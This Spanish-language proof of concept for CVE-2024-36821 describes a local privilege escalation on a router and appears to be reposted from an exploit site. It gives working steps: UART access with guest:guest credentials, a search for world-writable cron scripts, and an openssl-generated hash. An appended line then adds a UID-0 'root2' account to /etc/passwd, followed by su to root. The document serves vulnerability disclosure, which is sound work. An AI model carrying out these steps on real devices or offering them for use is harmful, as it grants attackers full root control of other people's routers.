CVE-2024-36821

La referencia pública que contiene la información mínima requerida para la vulnerabilidad cubierta por CVE-2024-36821

El video original con PoC lo puedes encontrar en el video -> https://www.youtube.com/watch?v=6vHno0ik7JY

El PoC:

1. Conéctate al router mediante la conexión UART

2. Usando las credenciales guest:guest, inicia sesión en el sistema

3. Usando el comando find / -perm -777 -type f 2>/dev/null, encuentra archivos con permisos de lectura, escritura y ejecución:

   root@kitploit:~

   1. /tmp/cron/cron.daily/sysinfo_cleanup.sh
   2. /tmp/cron/cron.daily/devicedb_backup_daily.sh
   3. /tmp/cron/cron.hourly/sysinfo_cleanup.sh
   4. /tmp/cron/cron.every5minute/sysinfo_cleanup.sh
   5. /tmp/cron/cron.everyminute/conntrack_collector.sh
   

   

4. Verifica el propietario con el comando ls -al /tmp/cron/cron.everyminute/conntrack_collector.sh

5. Genera la contraseña con el comando openssl passwd Abracadabra

6. Edita /tmp/cron/cron.everyminute/conntrack_collector.sh, añadiendo al final la nueva contraseña generada:

   root@kitploit:~

   echo "root2:UlPYin76ss0w2:0:0::/:/bin/sh" >> /etc/passwd
   

   

7. Espera un minuto

8. Cambia al usuario root2 con el siguiente comando

   root@kitploit:~

   / $ su root2
   Password: Abracadabra
   ~ #